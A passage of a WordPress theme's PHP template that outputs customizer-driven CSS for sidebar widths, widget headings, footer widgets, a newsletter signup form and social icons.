            @media only screen and (min-width: 961px){ .penci-sidebar-content{ width: <?php echo $sidebarwidth; ?>%; } .penci-single-style-10 .penci-single-s10-content, .container.penci_sidebar:not(.two-sidebar) #main{ width: <?php echo $sidebarcontent; ?>%;  } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_width_px' ) ):
			$sidebarwidth_px = get_theme_mod( 'penci_sidebar_width_px' );
			?>
            @media only screen and (min-width: 961px){ .penci-sidebar-content{ width: <?php echo $sidebarwidth_px; ?>px; } .penci-single-style-10 .penci-single-s10-content, .container.penci_sidebar:not(.two-sidebar) #main{ width: calc(100% - <?php echo $sidebarwidth_px; ?>px);  } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_2sidebar_width' ) ):
			$sidebarswidth = get_theme_mod( 'penci_2sidebar_width' );
			$sidebarscontent  = 100 - ( $sidebarswidth * 2 );
			?>
            @media only screen and (min-width: 1201px){ .layout-14_12_14 .penci-vc-sidebar, .container.two-sidebar .penci-sidebar-content{ width: <?php echo $sidebarswidth; ?>%; } .layout-14_12_14 .penci-main-content, .container.two-sidebar #main{ width: <?php echo $sidebarscontent; ?>%; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_2sidebar_width_px' ) ):
			$sidebarswidth2_px = get_theme_mod( 'penci_2sidebar_width_px' );
			?>
            @media only screen and (min-width: 1201px){ .layout-14_12_14 .penci-vc-sidebar, .container.two-sidebar .penci-sidebar-content{ width: <?php echo $sidebarswidth2_px; ?>px; } .layout-14_12_14 .penci-main-content, .container.two-sidebar #main{ width: calc(100% - <?php echo( $sidebarswidth2_px * 2 ); ?>px); } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_space' ) ): ?>
			body.loading-posts #main .penci-loader-effect{transform: translateX(calc(<?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px / 2 * -1));}
            @media only screen and (min-width: 961px){ .penci-single-style-10 .penci-single-s10-content, .container.penci_sidebar.right-sidebar #main{ padding-right: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; } .penci-single-style-10.penci_sidebar.left-sidebar .penci-single-s10-content, .container.penci_sidebar.left-sidebar #main,.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content{ padding-left: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; } }
            @media only screen and (min-width: 1201px){ .layout-14_12_14 .penci-main-content, .container.two-sidebar #main{ padding-left: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; padding-right: <?php echo get_theme_mod( 'penci_sidebar_space' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_widget_margin' ) ): ?>
            .penci-sidebar-content .widget, .penci-sidebar-content.pcsb-boxed-whole { margin-bottom: <?php echo get_theme_mod( 'penci_sidebar_widget_margin' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_padding' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ padding: <?php echo get_theme_mod( 'penci_sidebar_padding' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_padding_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ padding: <?php echo get_theme_mod( 'penci_sidebar_padding_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bxsb_bg' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ background-color: <?php echo get_theme_mod( 'penci_bxsb_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bxsb_border' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ border-color: <?php echo get_theme_mod( 'penci_bxsb_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sbbx_bdstyle' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ border-style: <?php echo get_theme_mod( 'penci_sbbx_bdstyle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_boxed_bdw' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-whole, .penci-sidebar-content.pcsb-boxed-widget .widget{ border-width: <?php echo get_theme_mod( 'penci_sidebar_boxed_bdw' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_disable_phtml' ) ): ?>
            .penci-sidebar-content.pcsb-boxed-widget .widget.widget_custom_html{ padding: 0; border: none; background: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_lowcase' ) ): ?>
            .penci-sidebar-content .penci-border-arrow .inner-arrow { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_rm_bdbottom' ) ): ?>
            .widget ul li, .widget ol li, .widget ul.side-newsfeed li, .woocommerce ul.product_list_widget li{ padding-bottom: 0; border-bottom: none; }
            .widget ul li, .widget ol li{ margin-bottom: 15px; }
            .woocommerce ul.product_list_widget li{ margin-bottom: 20px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_size' ) ): ?>
            .penci-sidebar-content .penci-border-arrow .inner-arrow { font-size: <?php echo get_theme_mod( 'penci_sidebar_heading_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_image_8' ) ): ?>
            .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-image: url(<?php echo get_theme_mod( 'penci_sidebar_heading_image_8' ); ?>); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading8_repeat' ) ): ?>
            .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-repeat: <?php echo get_theme_mod( 'penci_sidebar_heading8_repeat' ); ?>; background-size: auto; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_bg' ) ): ?>
			.penci-sidebar-content.style-25 .inner-arrow,
			.penci-sidebar-content.style-25 .widget-title,
            .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow,
            .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow,
            .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before,
            .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow,
			.penci-sidebar-content.style-30 .widget-title > span,
            .penci-sidebar-content .penci-border-arrow .inner-arrow, .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{ background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
            .penci-sidebar-content.style-2 .penci-border-arrow:after{ border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
            .penci-sidebar-content.style-28 .widget-title,.penci-sidebar-content.style-30 .widget-title{ --pcaccent-cl: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_outer_bg' ) ): ?>
			.penci-sidebar-content.style-25 .widget-title span {--pcheading-cl: <?php echo get_theme_mod( 'penci_sidebar_heading_outer_bg' ); ?>; }
            .penci-sidebar-content .penci-border-arrow:after { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_outer_bg' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color' ) ): ?>
			.penci-sidebar-content.style-25 .widget-title span{--pcheading-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>;}
			.penci-sidebar-content.style-29 .widget-title > span,.penci-sidebar-content.style-26 .widget-title,.penci-sidebar-content.style-30 .widget-title{--pcborder-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>;}
			.penci-sidebar-content.style-24 .widget-title>span,
			.penci-sidebar-content.style-23 .widget-title>span,
			.penci-sidebar-content.style-29 .widget-title > span,
			.penci-sidebar-content.style-22 .widget-title,.penci-sidebar-content.style-21 .widget-title span{--pcaccent-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>;}
            .penci-sidebar-content .penci-border-arrow .inner-arrow, .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before, .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after, .penci-sidebar-content.style-5 .penci-border-arrow, .penci-sidebar-content.style-7
            .penci-border-arrow, .penci-sidebar-content.style-9 .penci-border-arrow{ border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
            .penci-sidebar-content .penci-border-arrow:before { border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
            .penci-sidebar-content.style-16 .penci-border-arrow:after{ background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color5' ) ): ?>
            .penci-sidebar-content.style-5 .penci-border-arrow { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
            .penci-sidebar-content.style-12 .penci-border-arrow,.penci-sidebar-content.style-10 .penci-border-arrow,
            .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{ border-bottom-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'sidebar_heading_bordertop_color10' ) ): ?>
            .penci-sidebar-content.style-10 .penci-border-arrow{ border-top-color: <?php echo get_theme_mod( 'sidebar_heading_bordertop_color10' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_shapes_color' ) ): ?>
            .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,
            .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{ border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
            .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before,
            .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after,
            .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{ border-bottom-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
            .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,
            .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{ border-right-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
            .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,
            .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before { border-left-color: <?php echo get_theme_mod( 'penci_sidebar_heading_shapes_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_bgstyle15' ) ): ?>
            .penci-sidebar-content.style-15 .penci-border-arrow:before{ background-color: <?php echo get_theme_mod( 'penci_sidebar_bgstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_iconstyle15' ) ): ?>
            .penci-sidebar-content.style-15 .penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_sidebar_iconstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_cllines' ) ): ?>
            .penci-sidebar-content.style-18 .penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_sidebar_cllines' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color7' ) ): ?>
            .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before, .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color7' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_border_inner_color' ) ): ?>
			.penci-sidebar-content.style-24 .widget-title>span,
			.penci-sidebar-content.style-23 .widget-title>span,
			.penci-sidebar-content.style-22 .widget-title{--pcborder-cl:<?php echo get_theme_mod( 'penci_sidebar_heading_border_inner_color' ); ?>;}
            .penci-sidebar-content .penci-border-arrow:after { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_inner_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_heading_color' ) ): ?>
			.penci-sidebar-content.style-21,
			.penci-sidebar-content.style-22,
			.penci-sidebar-content.style-23,
			.penci-sidebar-content.style-28 .widget-title,
			.penci-sidebar-content.style-29 .widget-title,
			.penci-sidebar-content.style-29 .widget-title,
			.penci-sidebar-content.style-24{ --pcheading-cl: <?php echo get_theme_mod( 'penci_sidebar_heading_color' ); ?>; }
			.penci-sidebar-content.style-25 .widget-title span,
			.penci-sidebar-content.style-30 .widget-title > span,
            .penci-sidebar-content .penci-border-arrow .inner-arrow { color: <?php echo get_theme_mod( 'penci_sidebar_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_remove_border_outer' ) ): ?>
            .penci-sidebar-content .penci-border-arrow:after { content: none; display: none; }
            .penci-sidebar-content .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
            .penci-sidebar-content .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_remove_arrow_down' ) ): ?>
            .penci-sidebar-content .penci-border-arrow:before, .penci-sidebar-content.style-2 .penci-border-arrow:after { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_accent_color' ) ): ?>
            .widget ul.side-newsfeed li .side-item .side-item-text h4 a, .widget a, #wp-calendar tbody td a, .widget.widget_categories ul li, .widget.widget_archive ul li, .widget-social a i, .widget-social a span, .widget-social.show-text a span,.penci-video_playlist .penci-video-playlist-item .penci-video-title, .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a{ color: <?php echo get_theme_mod( 'penci_sidebar_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_accent_hover_color' ) ): ?>
            .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,.widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover, .widget a:hover, .penci-sidebar-content .widget-social a:hover span, .widget-social a:hover span, .penci-tweets-widget-content .icon-tweets, .penci-tweets-widget-content .tweet-intents a, .penci-tweets-widget-content
            .tweet-intents span:after, .widget-social.remove-circle a:hover i , #wp-calendar tbody td a:hover, .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover, .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{ color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .widget .tagcloud a:hover, .widget-social a:hover i, .widget input[type="submit"]:hover,.penci-user-logged-in .penci-user-action-links a:hover,.penci-button:hover, .widget button[type="submit"]:hover { color: #fff; background-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .about-widget .about-me-heading:before { border-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .penci-tweets-widget-content .tweet-intents-inner:before, .penci-tweets-widget-content .tweet-intents-inner:after, .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item, .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb, .penci-video_playlist .penci-playlist-title { background-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
            .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span, .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span { border-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; background-color: <?php echo get_theme_mod( 'penci_sidebar_accent_hover_color' ); ?>; }
		<?php endif; ?>
		<?php
		$footer_widget_padding = get_theme_mod( 'penci_footer_widget_padding' );
		if ( is_page() ) {
			$pmeta_page_footer = get_post_meta( get_the_ID(), 'penci_pmeta_page_footer', true );
			if ( isset( $pmeta_page_footer['penci_fw_padding_top_bottom'] ) && $pmeta_page_footer['penci_fw_padding_top_bottom'] ) {
				$footer_widget_padding = $pmeta_page_footer['penci_fw_padding_top_bottom'];
			}
		}

		if ( $footer_widget_padding ) {
			echo '#widget-area { padding: ' . $footer_widget_padding . 'px 0; }';
		}
		?>
		<?php if ( get_theme_mod( 'penci_footer_widget_titlefsize' ) ): ?>
            .footer-widget-wrapper .widget .widget-title .inner-arrow{ font-size: <?php echo get_theme_mod( 'penci_footer_widget_titlefsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_size' ) ): ?>
            ul.footer-socials li a i{ font-size: <?php echo get_theme_mod( 'penci_footer_social_size' ); ?>px; }
            ul.footer-socials li a svg{ width: <?php echo get_theme_mod( 'penci_footer_social_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_lowercase' ) ): ?>
            ul.footer-socials li a span { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_text_size' ) ): ?>
            ul.footer-socials li a span { font-size: <?php echo get_theme_mod( 'penci_footer_social_text_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_mwlogo' ) ): ?>
            #footer-logo a{ max-width: <?php echo get_theme_mod( 'penci_footer_mwlogo' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_mwlogo_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ #footer-logo a{ max-width: <?php echo get_theme_mod( 'penci_footer_mwlogo_mobile' ); ?>px; } #footer-logo img{ max-width: 100%; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_menu_size' ) ): ?>
            #footer-section .footer-menu li a { font-size: <?php echo get_theme_mod( 'penci_footer_menu_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_size' ) ): ?>
            #footer-copyright * { font-size: <?php echo get_theme_mod( 'penci_footer_copyright_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_remove_italic' ) ): ?>
            #footer-copyright * { font-style: normal; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_showemail' ) ): ?>
            .footer-subscribe .mc4wp-form .mname{ display: block; }
            .footer-subscribe .mc4wp-form .memail, .footer-subscribe .mc4wp-form .msubmit{ float: none; display: block; width: 100%; margin-right: 0; margin-left: 0; }
            .footer-subscribe .mc4wp-form .msubmit input, .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"]{ width: 100%; max-width: 100%; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_ptop' ) ): ?>
            @media only screen and (min-width: 480px){ .footer-subscribe { padding-top: <?php echo get_theme_mod( 'penci_footer_signup_ptop' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_pbottom' ) ): ?>
            @media only screen and (min-width: 480px){ .footer-subscribe { padding-bottom: <?php echo get_theme_mod( 'penci_footer_signup_pbottom' ); ?>px; } }
		<?php endif; ?>
		<?php echo penci_renders_css( '.footer-subscribe h4.footer-subscribe-title', 'penci_footer_signup_fstitle' ); ?>
		<?php echo penci_renders_css( '.footer-subscribe .mc4wp-form .mdes', 'penci_footer_signup_fsdesc' ); ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_fsinputs' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"] { font-size: <?php echo get_theme_mod( 'penci_footer_signup_fsinputs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_fsisubmit' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"]{ font-size: <?php echo get_theme_mod( 'penci_footer_signup_fsisubmit' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_area_bg' ) ): ?>
            .footer-subscribe { background-color: <?php echo get_theme_mod( 'penci_footer_signup_area_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_heading_color' ) ): ?>
            .footer-subscribe h4.footer-subscribe-title { color: <?php echo get_theme_mod( 'penci_footer_signup_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_des_color' ) ): ?>
            .footer-subscribe .mc4wp-form .mdes { color: <?php echo get_theme_mod( 'penci_footer_signup_des_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_email_border' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"] { border-color: <?php echo get_theme_mod( 'penci_footer_signup_email_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'footer_signup_email_border_hover' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"]:focus, .footer-subscribe .widget .mc4wp-form input[type="email"]:hover, .footer-subscribe .widget .mc4wp-form input[type="text"]:focus, .footer-subscribe .widget .mc4wp-form input[type="text"]:hover { border-color: <?php echo get_theme_mod( 'footer_signup_email_border_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_email_text_color' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="email"], .footer-subscribe .widget .mc4wp-form input[type="text"] { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="email"]::-webkit-input-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="email"]:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="email"]::-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="email"]:-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
            .footer-subscribe input[type="email"]::-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
            .footer-subscribe input[type="text"]::-webkit-input-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="text"]:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="text"]::-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="text"]:-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
            .footer-subscribe input[type="text"]::-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_bg' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"] { background-color: <?php echo get_theme_mod( 'penci_footer_signup_button_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_bg_hover' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"]:hover { background-color: <?php echo get_theme_mod( 'penci_footer_signup_button_bg_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_text' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"] { color: <?php echo get_theme_mod( 'penci_footer_signup_button_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_text_hover' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"]:hover { color: <?php echo get_theme_mod( 'penci_footer_signup_button_text_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_bg' ) ): ?>
            #widget-area { background-color: <?php echo get_theme_mod( 'penci_footer_widget_area_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_border' ) ): ?>
            #widget-area { border-color: <?php echo get_theme_mod( 'penci_footer_widget_area_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_text_color' ) ): ?>
            .footer-widget-wrapper, .footer-widget-wrapper .widget.widget_categories ul li, .footer-widget-wrapper .widget.widget_archive ul li,  .footer-widget-wrapper .widget input[type="text"], .footer-widget-wrapper .widget input[type="email"], .footer-widget-wrapper .widget input[type="date"], .footer-widget-wrapper .widget input[type="number"], .footer-widget-wrapper .widget input[type="search"] { color: <?php echo get_theme_mod( 'penci_footer_widget_area_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_list_border' ) ): ?>
            .footer-widget-wrapper .widget ul li, .footer-widget-wrapper .widget ul ul, .footer-widget-wrapper .widget input[type="text"], .footer-widget-wrapper .widget input[type="email"], .footer-widget-wrapper .widget input[type="date"], .footer-widget-wrapper .widget input[type="number"],
            .footer-widget-wrapper .widget input[type="search"] { border-color: <?php echo get_theme_mod( 'penci_footer_widget_area_list_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_title_center' ) ): ?>
            .footer-widget-wrapper .widget .widget-title { text-align: center; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_color' ) ): ?>
            .footer-widget-wrapper .widget .widget-title { color: <?php echo get_theme_mod( 'penci_footer_widget_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_title_border_color' ) ): ?>
            .footer-widget-wrapper .widget .widget-title .inner-arrow { border-color: <?php echo get_theme_mod( 'penci_footer_widget_title_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_title_border_width' ) ): ?>
            .footer-widget-wrapper .widget .widget-title .inner-arrow { border-bottom-width: <?php echo get_theme_mod( 'penci_footer_widget_title_border_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_accent_color' ) ): ?>
            .footer-widget-wrapper a, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text h4 a, .footer-widget-wrapper .widget a, .footer-widget-wrapper .widget-social a i, .footer-widget-wrapper .widget-social a span, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a{ color: <?php echo get_theme_mod( 'penci_footer_widget_accent_color' ); ?>; }
            .footer-widget-wrapper .widget-social a:hover i{ color: #fff; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_accent_hover_color' ) ): ?>
            .footer-widget-wrapper .penci-tweets-widget-content .icon-tweets, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents a, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents span:after, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item
            .side-item-text h4 a:hover, .footer-widget-wrapper .widget a:hover, .footer-widget-wrapper .widget-social a:hover span, .footer-widget-wrapper a:hover, .footer-widget-wrapper .widget-social.remove-circle a:hover i, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{ color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .widget .tagcloud a:hover, .footer-widget-wrapper .widget-social a:hover i, .footer-widget-wrapper .mc4wp-form input[type="submit"]:hover, .footer-widget-wrapper .widget input[type="submit"]:hover,.footer-widget-wrapper .penci-user-logged-in .penci-user-action-links a:hover, .footer-widget-wrapper .widget button[type="submit"]:hover { color: #fff; background-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .about-widget .about-me-heading:before { border-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:before, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:after { background-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span, .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span {  border-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>;  background: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>;  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_icon_color' ) ): ?>
            ul.footer-socials li a i { color: <?php echo get_theme_mod( 'penci_footer_icon_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_footer_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_icon_hover_color' ) ): ?>
            ul.footer-socials li a:hover i { background-color: <?php echo get_theme_mod( 'penci_footer_icon_hover_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_footer_icon_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_icon_hover_icon_color' ) ): ?>
